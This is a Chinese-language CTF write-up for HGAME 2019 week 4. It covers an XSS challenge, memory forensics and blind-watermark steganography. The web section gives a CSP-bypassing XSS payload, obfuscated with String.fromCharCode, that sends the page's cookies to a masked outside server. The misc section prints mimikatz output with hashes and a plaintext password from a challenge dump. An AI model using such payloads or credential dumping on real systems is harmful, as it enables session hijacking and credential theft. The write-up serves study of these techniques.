

[logong] HGAME 2019 week-4 writeup

web

baby xss

这道题，尝试了很多办法，关键的坎就是CSP(内容安全策略)，在研究了一下以后，根据消息回应头，有三个规则，`self` 规定了只能加载内部的资源，不能从外部引用，`unsafe-inline` 表明允许行内代码的存在(这个我没看懂网上的解释) `unsafe-eval` 允许动态代码的存在，`style-src` 允许引入样式表。

之前我还试过建立一个 `iframe` 调用css，尝试换一个窗口来插入代码，以达到引入外部js的目的，但是失败了，不清楚是不是这个self的作用，浏览器提示我不能向 `iframe` 中插入外部的网页。

最后我选择了，直接带着当前页面cookie发送一个对自己服务器的请求，成功了。

payload(大致):

```
<input autofocus
onfocus='eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,11
0,46,104,114,101,102,61,39,104,116,116,112,111,111,107,105,101,61,39,43,100,111,99,117,10
9,101,110,116,46,99,111,111,107,105,101))'>
```

这里用了字符串到ASCII码的转换。来避免对 `window` 的过滤

```
<input autofocus onfocus='eval(window.location.href='http://*.*.*.*:*/?
cookie='+document.cookie) '>
```

misc

Warmup

头一次见的内存取证！第一次见，真是新奇，用winhex打开的时候一脸懵，连后缀名都不会改，用了一个文件类型判断的工具，大概出了结果是一个 `dmp` 文件，加上后缀名还是一脸懵。这让我咋分析，扔IDA里吗。去网上找了找linux下有一个 `volatility` 的程序可以进行分析，折腾了会儿，发现它啥也分析不出来，连windows系统版本也分析不出来，有点慌。问了大哥以后说是win下的工具，转战win，查询发现 `mimikatz`（就是hint上的那个）拿到管理员密码 `LOSER`

```
mimikatz 2.1.1 x64 (oe.eo)
Opening : 'C:\Users\logong\Desktop\l.dmp' file for minidump...

Authentication Id : 0 ; 2353730 (00000000:0023ea42)
Session          : Interactive from 2
User Name        : Hgame
Domain           : xyf-PC
Logon Server     : XYF-PC
Logon Time       : 2019/2/11 下午 10:02:44
SID              : S-1-5-21-373264735-3061158248-1611926753-1003

msv :
  [00000003] Primary
  * Username : Hgame
  * Domain   : xyf-PC
  * LM       : 758ff83c96bcac17aad3b435b51404ee
  * NTLM     : e527b386483119c5218d9bb836109739
  * SHA1     : ca17a8c02628f662f88499e48d1b3e9398bef1ff

tspkg :
  * Username : Hgame
  * Domain   : xyf-PC
  * Password : LOSER

wdigest :
  * Username : Hgame
  * Domain   : xyf-PC
  * Password : LOSER

kerberos :
  * Username : Hgame
  * Domain   : xyf-PC
  * Password : LOSER

ssp :
```

在线加密解密(采用Crypto-JS实现)

加密/解密

散列/哈希

BASE64

图片/BASE64转换

明文:

LOSER

散列/哈希算法:

SHA1

SHA224

SHA256

SHA384

SHA512

HmacSHA1

HmacSHA224

HmacSHA256

HmacSHA384

HmacSHA512

哈希值:

dd6dffcd56b77597157ac6c1beb514aa4c59d033098f806d88df89245824d3f5

hash一下复制粘贴加框交上去即可。

暗藏玄机

下载下来两张图，大小明显不同，原来以为，又是像上一周一样的明文爆破，binwalk跑一跑发现根本没有压缩包，那就只能从图片对比上下功夫，用stegsolve跑一跑，在gray这个层里发现了密密麻麻的线。然而并不晓得如何提取。问了lwh大佬，得知是盲水印，那就好说了，gayhub下一下脚本，分离一下就出来了。

```
C:\Windows\system32\cmd.exe - conda update --all - conda install numpy
Total: 4.0 MB

The following NEW packages will be INSTALLED:

blas                pkgs/main/win-64::blas-1.0-mkl
icc_rt              pkgs/main/win-64::icc_rt-2019.0.0-h0cc432a_1
intel-openmp        pkgs/main/win-64::intel-openmp-2019.1-144
mkl                 pkgs/main/win-64::mkl-2019.1-144
mkl_fft             pkgs/main/win-64::mkl_fft-1.0.10-py27h44c1dab_0
numpy               pkgs/main/win-64::numpy-1.15.4-py27h5fc8d92_0
numpy-base          pkgs/main/win-64::numpy-base-1.15.4-py27hb1d0314_0

Proceed ([y]/n)? y

Downloading and Extracting Packages
numpy-1.15.4          47 KB | ##### 100%
mkl_fft-1.0.10       131 KB | ##### 100%
numpy-base-1.15.4    3.8 MB | ##### 100%
Preparing transaction: done
Verifying transaction: done
Executing transaction: done

(py2) C:\Users\logong>python C:\Users\logong\Desktop\123.py decode C:\Users\logong\Desktop\me.png C:\Users\logong\Desktop\with.png C:\Users\logong\Desktop\1223.png
image<C:\Users\logong\Desktop\me.png> + image(encoded)<C:\Users\logong\Desktop\with.png> -> watermark<C:\Users\logong\Desktop\1223.png>

(py2) C:\Users\logong>
```



lwhnb! !